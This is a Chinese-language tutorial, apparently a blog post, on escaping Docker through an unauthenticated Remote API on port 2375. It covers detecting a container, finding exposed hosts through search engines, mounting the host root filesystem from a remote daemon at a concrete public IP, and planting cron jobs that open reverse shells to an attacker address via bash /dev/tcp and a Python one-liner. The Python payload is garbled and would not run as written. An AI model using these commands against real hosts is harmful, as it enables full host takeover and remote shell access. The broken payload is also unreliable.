0x00 前言

0x01 Docker逃逸原理

0x02 Docker 环境判断

1、是否存在.dockerenv文件

ls -alh /.dockerenv

image-20210915102629238

2、查询系统进程的cgroup\sched信息

cat /proc/1/cgroup
cat /proc/1/sched

还有一些常规的linux系统命令,比如ifconfig、vim等没有的话,大概率可能是虚拟环境,需配合其他信息判断是否为docker环境。

0x03 docker remote api未授权访问

Docker remote API 默认是不开启的

开启Docker Remote API

编辑:/lib/systemd/system/docker.service文件:

注释内容

#ExecStart=/usr/bin/dockerd -H fd://

添加内容

ExecStart=/usr/sbin/dockerd -H fd:// -H tcp://0.0.0.0:2375

image-20210916180456820

重启

sudo systemctl daemon-reload

sudo service docker restart

也可在fofa或360quake找docker开放的2375端口

http://localhost:2375/info

如果能看见Warnings关键字,那么此网站是可进行漏洞利用的,如果显示了信息,但没有Warnings关键字,那么该漏洞无法进行利用(亲测)

image-20210916162008935

当发现存在未授权访问漏洞后,可在命令行下访问该docker的信息

docker -H tcp://localhost:2375 images  查看docker中的images

image-20210916162403971

创建docker容器,和本机创建容器命令一致,-v是挂载卷

docker -H tcp://101.35.31.140:2375 run -it -v /:/mnt centos /bin/bash

image-20210916173134943

创建容器后,靶机会显示新建的docker容器

image-20210916173328201

反弹shell命令

echo '* * * * * root /bin/bash -i >& /dev/tcp/192.168.239.7/8088 0>&1' >> /var/spool/cron/root1

echo -e "/1* * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.239.7\".8088));os.dup2(s.fileno().0); os.dup2(s.filemo().1); os.dup2(s.fileno().2);p=subprocess.call([\"/bin/sh\".\"-i\"]);'\n" >> var/spool/crontab

可看见反弹回来的直接是kali系统的shell,而不是docker容器的shell。

image-20210916175345249

实战:

image-20210915181508082